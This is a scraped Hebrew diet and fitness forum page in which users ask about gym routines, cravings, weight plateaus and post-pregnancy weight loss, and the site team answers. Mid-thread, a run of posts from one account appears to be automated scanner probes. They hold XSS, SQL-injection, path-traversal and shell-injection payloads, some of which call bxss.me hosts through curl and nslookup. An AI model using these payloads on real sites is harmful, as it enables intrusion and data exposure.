פורום דיאטה, הרזיה ותזונה של חצי שירה - מידע ושיתוף

ברוכים הבאים אל פורום דיאטה, הרזיה ותזונה של חצי שירה - מידע ושיתוף

בפורום דיאטה, הרזיה ותזונה של חצי שירה - מידע ושיתוף זה ניתן לשתף ולשאול שאלות בכל הקשור לירידה במשקל, תזונה, הרזיה וכו'
פורום דיאטה, הרזיה ותזונה של חצי שירה - מידע ושיתוף נועד על מנת לענות על שאלות כלליות ואינו מהווה תחליף לייעוץ מקצועי ופרטני עם איש מקצוע
פורום דיאטה
פורום דיאטה שירה שלום   27/03/09 18:54אילת
הסיפור שלך מעורר השראה!

אני התחלתי תהליך של דיאטה מבוקרת לפני כחודשיים ובינתים נפטרתי לשלום משבעה קילוגרמים. אני נעזרת בדיאטנית בפסיכולוג והולכת לחדר כושר.
רציתי להתייעץ איתך בעיקר לגבי הנקודה של חדר כושר
אני לא מרגישה שהמדריכים בחדר כושר שבונים לי את התוכנית מבינים אותי ואת צרכיי.
האם יש לך המלצה ליועץ כושר ספציפי שיוכל לעזור לי לבנות תוכנית טובה המותאמת לצרכיי? או שתוכלי להפנות אותי למידע כתוב בנושא?

תודה מראש

אילת
הגב 
פורום דיאטה מאמן אישי   28/03/09 17:20צוות חצי שירה
היי לך,
אני מכירה רק את המאמן האישי שלי,
איפה את מתעמלת?
פורום דיאטה אני מתעמלת בגו אקטיב   28/03/09 22:33אילת
ומדיניות הרשת היא שלא ניתן להכניס מאמנים אישיים לפי בחירתך לחדר כושר
- מה גם שאני לא בטוחה שאני יכולה להרשות לעצמי כלכלית ליווי קבוע של מאמן אישי. (אבל אחת לכמה שבועות - זה אפשרי)
פורום דיאטה יעוץ בנושא כושר   30/03/09 16:43צוות חצי שירה
היי שוב,
אין לי מישהו ספציפי שיכול לייעץ לך, אני כן יכולה להפנות אותך למאמן האישי שלי במכון הכושר, אולי יהיו לו רעיונות.
פורום דיאטה הפנייה למאמן האישי שלך   16/04/09 05:03ק
היי שירה,
קודם כל - כל הכבוד לך על כח הרצון, ההתמדה, האומץ לשתף והרצון לעזור.
קראתי את כל הטורים שפירסמת והתרשמתי מאד מהבחורה היפה (הן מבפנים והן מבחוץ) שהיית ועודך.
לאחר תקופה של קרוב לשנה בה התפתיתי לאכול חטיפים עתירי שומן, חזרתי מזה כחודש וחצי לאכול בצורה מסודרת.
כעת אני גם בתהליך חזרה הדרגתית לאימונים אירוביים אותם נהגתי לבצע בקביעות בזמנו.
הייתי מאד רוצה לשלב תרגילי עיצוב וחיטוב ומאד אשמח לקבל את פרטי המאמן האישי שלך.
תודה מראש,
ק
פורום דיאטה xfs.bxss.me   06/03/2026 11:57rvTvLCWh
1
פורום דיאטה )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))   06/03/2026 11:57rvTvLCWh
1
פורום דיאטה Mr.'"()&%<zzz><ScRiPt >iO1C(9417)</ScRiPt>   06/03/2026 11:57rvTvLCWh
1
פורום דיאטה '"()&%<zzz><ScRiPt >iO1C(9620)</ScRiPt>   06/03/2026 11:57rvTvLCWh
1
פורום דיאטה Mr.9219591   06/03/2026 11:57rvTvLCWh
1
פורום דיאטה response.write(9115017*9202156)   06/03/2026 11:58rvTvLCWh
1
פורום דיאטה '+response.write(9115017*9202156)+'   06/03/2026 11:58rvTvLCWh
1
פורום דיאטה "+response.write(9115017*9202156)+"   06/03/2026 11:58rvTvLCWh
1
פורום דיאטה 12345'"\'\");|]*{ <>   06/03/2026 11:58rvTvLCWh
1
פורום דיאטה Mr.<esi:include src="http://bxss.me/rpb.png"/>   06/03/2026 11:58rvTvLCWh
1
פורום דיאטה Ta9VfMfd   06/03/2026 11:58rvTvLCWh
1
פורום דיאטה XWpncity: LDaZXQl4   06/03/2026 11:58rvTvLCWh
1
פורום דיאטה ${9999488+9999983}   06/03/2026 11:58rvTvLCWh
1
פורום דיאטה HttP://bxss.me/t/xss.html?%00   06/03/2026 11:58rvTvLCWh
1
פורום דיאטה bxss.me/t/xss.html?%00   06/03/2026 11:58rvTvLCWh
1
פורום דיאטה redirtest.acx   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה '.gethostbyname(lc('hithg'.'gjzsglzc5e925.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(71).chr(104).chr(86).'   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה ".gethostbyname(lc("hitow"."sswvqnzg24ff6.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(86).chr(98).chr(76)."   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה Mr.&n954664=v957304   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה gethostbyname(lc('hithc'.'xjuwqluna009b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(85).chr(110).chr(73)   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה "+"A".concat(70-3).concat(22*4).concat(112).concat(70).concat(114).concat(83)+(require"socket" Socket.gethostbyname("hitee"+"oeyeftsp552f6.bxss.me.")[3].to_s)+"   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה '+'A'.concat(70-3).concat(22*4).concat(97).concat(74).concat(122).concat(77)+(require'socket' Socket.gethostbyname('hitpj'+'sellrhrkee62d.bxss.me.')[3].to_s)+'   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה 'A'.concat(70-3).concat(22*4).concat(98).concat(73).concat(113).concat(65)+(require'socket' Socket.gethostbyname('hitzc'+'zpmsbzozdb213.bxss.me.')[3].to_s)   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה ../../../../../../../../../../../../../../etc/passwd   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה ../../../../../../../../../../../../../../windows/win.ini   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה file:///etc/passwd   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה ../Mr.   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה ./Mr.   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה /etc/shells   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה ../../../../../../../../../../../../../../etc/shells   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה c:/windows/win.ini   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה bxss.me   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה Http://bxss.me/t/fit.txt   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה http://bxss.me/t/fit.txt?.   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה !(()&&!|*|*|   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה ^(#$!@#$)(()))******   06/03/2026 11:59rvTvLCWh
1
פורום דיאטה ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));   06/03/2026 12:00rvTvLCWh
1
פורום דיאטה ';print(md5(31337));$a='   06/03/2026 12:00rvTvLCWh
1
פורום דיאטה ";print(md5(31337));$a="   06/03/2026 12:00rvTvLCWh
1
פורום דיאטה ${@print(md5(31337))}   06/03/2026 12:00rvTvLCWh
1
פורום דיאטה ${@print(md5(31337))}\   06/03/2026 12:00rvTvLCWh
1
פורום דיאטה '.print(md5(31337)).'   06/03/2026 12:00rvTvLCWh
1
פורום דיאטה Mr.'&&sleep(27*1000)*pzctni&&'   06/03/2026 12:00rvTvLCWh
1
פורום דיאטה Mr."&&sleep(27*1000)*umbrkc&&"   06/03/2026 12:00rvTvLCWh
1
פורום דיאטה Mr.'||sleep(27*1000)*pwaura||'   06/03/2026 12:00rvTvLCWh
1
פורום דיאטה Mr."||sleep(27*1000)*nlnkoj||"   06/03/2026 12:00rvTvLCWh
1
פורום דיאטה echo feqegd$()\ vpfiqw\nz^xyu||a #' &echo feqegd$()\ vpfiqw\nz^xyu||a #|" &echo feqegd$()\ vpfiqw\nz^xyu||a #   06/03/2026 12:01rvTvLCWh
1
פורום דיאטה &echo sxyjea$()\ edsyla\nz^xyu||a #' &echo sxyjea$()\ edsyla\nz^xyu||a #|" &echo sxyjea$()\ edsyla\nz^xyu||a #   06/03/2026 12:01rvTvLCWh
1
פורום דיאטה Mr.&echo savejx$()\ osojbc\nz^xyu||a #' &echo savejx$()\ osojbc\nz^xyu||a #|" &echo savejx$()\ osojbc\nz^xyu||a #   06/03/2026 12:01rvTvLCWh
1
פורום דיאטה |echo zgyahn$()\ zfnbsc\nz^xyu||a #' |echo zgyahn$()\ zfnbsc\nz^xyu||a #|" |echo zgyahn$()\ zfnbsc\nz^xyu||a #   06/03/2026 12:01rvTvLCWh
1
פורום דיאטה Mr.|echo vfyvjr$()\ ntmxcr\nz^xyu||a #' |echo vfyvjr$()\ ntmxcr\nz^xyu||a #|" |echo vfyvjr$()\ ntmxcr\nz^xyu||a #   06/03/2026 12:01rvTvLCWh
1
פורום דיאטה expr 9000824311 - 956416   06/03/2026 12:01rvTvLCWh
1
פורום דיאטה (nslookup -q=cname hitrhzizndrub961da.bxss.me||curl hitrhzizndrub961da.bxss.me))   06/03/2026 12:01rvTvLCWh
1
פורום דיאטה $(nslookup -q=cname hitheppegrxvx8bc26.bxss.me||curl hitheppegrxvx8bc26.bxss.me)   06/03/2026 12:01rvTvLCWh
1
פורום דיאטה &nslookup -q=cname hitmqazhgepswa8175.bxss.me&'\"`0&nslookup -q=cname hitmqazhgepswa8175.bxss.me&`'   06/03/2026 12:01rvTvLCWh
1
פורום דיאטה &(nslookup -q=cname hitfyruidnepua85d8.bxss.me||curl hitfyruidnepua85d8.bxss.me)&'\"`0&(nslookup -q=cname hitfyruidnepua85d8.bxss.me||curl hitfyruidnepua85d8.bxss.me)&`'   06/03/2026 12:01rvTvLCWh
1
פורום דיאטה |(nslookup -q=cname hitfahrdduyvpc0788.bxss.me||curl hitfahrdduyvpc0788.bxss.me)   06/03/2026 12:01rvTvLCWh
1
פורום דיאטה `(nslookup -q=cname hitubjvmvxbdfd640a.bxss.me||curl hitubjvmvxbdfd640a.bxss.me)`   06/03/2026 12:01rvTvLCWh
1
פורום דיאטה ;(nslookup -q=cname hitulaaovalgod5639.bxss.me||curl hitulaaovalgod5639.bxss.me)|(nslookup -q=cname hitulaaovalgod5639.bxss.me||curl hitulaaovalgod5639.bxss.me)&(nslookup -q=cname hitulaaovalgod5639.bxss.me||curl hitulaaovalgod5639.bxss.me)   06/03/2026 12:01rvTvLCWh
1
פורום דיאטה |(nslookup${IFS}-q${IFS}cname${IFS}hituuztiyqxdjd67a1.bxss.me||curl${IFS}hituuztiyqxdjd67a1.bxss.me)   06/03/2026 12:01rvTvLCWh
1
פורום דיאטה &(nslookup${IFS}-q${IFS}cname${IFS}hitvznpcrkjthb0627.bxss.me||curl${IFS}hitvznpcrkjthb0627.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitvznpcrkjthb0627.bxss.me||curl${IFS}hitvznpcrkjthb0627.bxss.me)&`'   06/03/2026 12:01rvTvLCWh
1
פורום דיאטה Mr.dncziASw   06/03/2026 13:17rvTvLCWh
1
פורום דיאטה Mr.' AND 2*3*8=6*8 AND 'nPc7'='nPc7   06/03/2026 13:18rvTvLCWh
1
פורום דיאטה Mr." AND 2*3*8=6*8 AND "yqdW"="yqdW   06/03/2026 13:18rvTvLCWh
1
פורום דיאטה Mr.%' AND 2*3*8=6*8 AND 'yhyg'!='yhyg%   06/03/2026 13:18rvTvLCWh
1
פורום דיאטה -1 OR 5*5=25 --   06/03/2026 13:18rvTvLCWh
1
פורום דיאטה -1 OR 5*5=26 --   06/03/2026 13:18rvTvLCWh
1
פורום דיאטה -1 OR 5*5=25   06/03/2026 13:18rvTvLCWh
1
פורום דיאטה -1 OR 5*5=26   06/03/2026 13:18rvTvLCWh
1
פורום דיאטה Mr.'||'   06/03/2026 13:18rvTvLCWh
1
פורום דיאטה if(now()=sysdate(),sleep(15),0)   06/03/2026 13:18rvTvLCWh
1
פורום דיאטה Mr.0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z   06/03/2026 13:19rvTvLCWh
1
פורום דיאטה Mr.0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z   06/03/2026 13:19rvTvLCWh
1
פורום דיאטה (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/   06/03/2026 13:19rvTvLCWh
1
פורום דיאטה Mr.-1 waitfor delay '0:0:15' --   06/03/2026 13:19rvTvLCWh
1
פורום דיאטה Mr.mZh2C2fU'; waitfor delay '0:0:15' --   06/03/2026 13:20rvTvLCWh
1
פורום דיאטה Mr.2QLZl1rf' OR 527=(SELECT 527 FROM PG_SLEEP(15))--   06/03/2026 13:20rvTvLCWh
1
פורום דיאטה Mr.AFZpNsp8') OR 442=(SELECT 442 FROM PG_SLEEP(15))--   06/03/2026 13:20rvTvLCWh
1
פורום דיאטה Mr.eI274CiK')) OR 218=(SELECT 218 FROM PG_SLEEP(15))--   06/03/2026 13:20rvTvLCWh
1
פורום דיאטה Mr.'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'   06/03/2026 13:21rvTvLCWh
1
פורום דיאטה Mr.'"   06/03/2026 13:21rvTvLCWh
1
פורום דיאטה Mr.   06/03/2026 13:21rvTvLCWh
1
פורום דיאטה @@VBryr   06/03/2026 13:21rvTvLCWh
1
פורום דיאטה (select 198766*667891)   06/03/2026 13:21rvTvLCWh
1
פורום דיאטה (select 198766*667891 from DUAL)   06/03/2026 13:21rvTvLCWh
1
פורום דיאטה חדר כושר   30/01/09 15:55שמנה משתקמת
היי שירה..
בפורום השאלות והתשובות שמצוי באתר כתוב שאת מתאמנת 4-5 פעמים בשבוע שבהם את עושה 50 דקות אירובי ו30 דקות משקולות שאלתי היא:
1. האם זה היה האימון שלך בזמן התהליך או שזה האימון שלך עכשיו שאת כבר רזה?
2. כשאני עושה משקולות לוקח לי 50 דקות .. האם 30 דקות מספיקות לך ??? כי כתבת שמצב העור שלך משתפר משבוע לשבוע האם העור שלך משתפר מ30 דקות משקולות באימון??
3. משקולות את עושה 4-5 פעמים בשבוע??? (אני עושה רק 3 פעמים בשבוע)
הגב 
פורום דיאטה מכון כושר   30/01/09 23:54צוות חצי שירה
היי לך,
אני עושה כיום פעמיים אימון משקולות עם מאמן ו 5 פעמים אירובי.
פורום דיאטה כמיהה למתוק   28/01/09 09:18סיוון
כל הכבוד

בחורה חכמה ויפה, אינטליגנטית - שילוב יוצא דופן - יישר כח.

יש לי כמיהה עזה למתוק ולכן בחודשיים האחרונים סיגלתי לעצמי
פיתרון, עוגיה אחת כל יום ופעמים ביום קפה שחור עם כפית גדושה,גדושה של סוכר(קרי, שתי כפיות גדושות ליום) וזה מסתדר מצויין.
אבל השאלה הנשאלת אם זה לא הרבה.
כמובן שפעם בשבוע אני אוכלת חתיכת עוגה טובה לא טעמיה אלא חתיכה יפה (גודל של בית קפה) ולבד.
האם את ממליצה לקצץ ולנסות להקטין את המנה ולטעום טעימה?
לוותר על העוגיה ביום אם באמצע שבוע אני אוכלת חתיכה טובה?
משקלי תקין ביותר אני אוכלת כל שלוש שעות ארוחת קטנות, שומרת על מישקל תקין (אני ממש לא שמנה) , מתעמלת 3-4 פעמים בשבוע.
למותר לציין כי במשך כל היום אני אוכלת בריא ולא מנשנשת.
הגב 
פורום דיאטה לא לוותר   28/01/09 23:00צוות חצי שירה
היי סיוון,
אם משקלך תקין ואת מתעמלת כפי שאת כותבת אז אל תוותרי על אף אחד ממה שכתבת.

שירה.
פורום דיאטה הייי   27/01/09 20:14צחצח
היי שירה
את 100ממת
כל הכבוד על השינוי
אני מאוהב!!!

בקרוב אצלי
מעכשיו האתר שלך אצלי במעודפים!!!!

יישר כוח


צחי צפת

הגב 
פורום דיאטה תודה רבה :)   27/01/09 20:18צוות חצי שירה
אתה מוזמן לכאן תמיד :)
פורום דיאטה אחות שמנה   27/01/09 08:47חגית
אחותי הצעירה(רווקה בת 34) עברה לדעתי את מחסום ה-100,במשפחתנו הסכרת הינה תורשתית ,מדובר בבחורה משכילה שמבינה ענין אך אינה מוכנה להסתכל במראה וטומנת את ראשה בחול,עד היום לא העזנו להעלות את הנושא ובזמן אחרון אני מאד חוששת לבריאותה.ברור שזהו השריון שלה,אבל מה עושים בכל זאת,האם עד שזה לא יבוא ממנה לא להעלות את הנושא?ומה אם זה כבר יהיה מאוחר מדי?
הגב 
פורום דיאטה נדנודים...   27/01/09 20:27צוות חצי שירה
היי,
גם אם תנדנדו לה זה לא יעזור, היא מודעת לעצמה ולאיך שהיא נראית ובוחרת מסיבה כלשהי שלא להתמודד עם המצב.
אין משהו שאת יכולה לעשות כדי לשנות את דעתה, כל איזכור שלא במקום סתם ירגיז אותה.
ביום שהיא תבחר להתמודד עם המצב שלה, אני בטוחה שהיא תדע לאן לפנות ומה לעשות, ואם היא תבוא אלייך, את תמיד יכולה להמליץ לה או לדבר איתה וכו'.

בהצלחה...
פורום דיאטה מוזר   27/01/09 09:50ללי
אני מאז ומתמיד שמנה נולדתי 5 קילו מעולם לא הייתי רזה! לא משנה מה ניסתי לעשות, כיום אני בהריון שני ותופעה מאוד מוזרה מתרחשת אצלי אני יורדת כמות מטורפת של קילוגרמים במהלך ההריון, ואני אוכלת הכל מהכל כולל מתוקים. בהריון הראשון ירדתי 14 קילו לפני הלידה כך שיצאתי מבית חולים עם מינוס של כ- 20 קילו אחרי הלידה (מהמשקל הרגיל ללא הריון), בהריון הנוכחי כיום בחודש 9 אני במינוס של 11 קילו. איך אפשר לנצל אחרי הלידה את נקודת הפתיחה במינוס קילוגרמיים להמשך ירידה הגיונית השאיפה שלי היא לא להיות רזה, רק יותר שלמה עם הגוף שלי.
הגב 
פורום דיאטה תזונאית שמתמחה בהריון   27/01/09 20:22צוות חצי שירה
היי,
אני מציעה שתתייעצי עם תזונאית שמתמחה בהריון, זה אכן נשמע מוזר.
פורום דיאטה אשמח לקבל עצה   27/01/09 11:24חנה


שלום שירה

התרשמתי נורא מהסיפור שסיפרת בו את מגלה נחישות עיקביות והתמדב ובעיקר כח רצון עצום

אני לאחר ארבעה לידות ואני שוקלת כיום 63 גובהי הוא 1ץ73
כמו שאת מבנה שאני לא שמנה, אני כל הזמן במצב של שמירה עליה וירידה בעיקבות הריון והנקה,
מה שמפריע לי זה שאני לא מצליחה לחזור לחיטוב גוף שהיה לי הבטן מדולדלת והמותנים שפעם היו מחוטבים וצרים נהיו התחלה לבטן מה עושים?
רק בכון כושר?.. אשמח לקבל עצה
הגב 
פורום דיאטה מכון כושר   27/01/09 20:24צוות חצי שירה
היי,
אני מציעה לך ללכת לאימון ניסיון עם מאמן אישי, זה ישנה את חייך, אני מתקשה להאמין שיש דרך אחרת קונבנציונלית לעשות את זה, ואני נגד ניתוחים.
פורום דיאטה תקועה   26/01/09 20:21עדי
היי
קודם כל, מאוד התרשמתי ממך ומהשגייך...

לפני שנה שקלתי 73, הצלחתי לרדת ל67 ועכשיו אני תקועה
ניסיתי להוריד קצת מכמות הפחמימות (מ2 פרוסות בבוקר ובערב, ל1 כל פעם)
אני מתאמנת, משתדלת 3-4 פעמים בשבוע(משקולות, ריצה, ספינינג)
אבל השומנים לא זזים
הבנתי שזה שלב כזה של הגוף ואם מתמידים הוא ממשיך לרדת
אבל אני תקועה ככה כבר 3 חודשים

איך אפשר להתגבר ולהמשיך?
הגב 
פורום דיאטה היקפים   26/01/09 22:45צוות חצי שירה
היי,
אכן המשקל לפעמים נתקע, ולא זז,
הפתרון הטוב ביותר שאני יכולה לתת לך מבלי להכיר אותך הוא לא לוותר וכמו כן למדוד היקפים.
אם ירדת בהיקפים סימן שהפעילות הספורטיבית עוזרת ואת מצמצמת אותם, אל תתייחסי למשקל, מי שמתעמל בחדר כושר יכול לראות גם עלייה פתאומית במשקל וזאת בגלל כובד מסת השריר מול מסת שומן.
לגבי האוכל, אני לא יכולה לייעץ כי אני לא מכירה אותך ואת התפריט שלך.
פורום דיאטה
מקרא:
הודעה ישנה - פורום דיאטה
הודעה חדשה - פורום דיאטה
תגובה - פורום דיאטה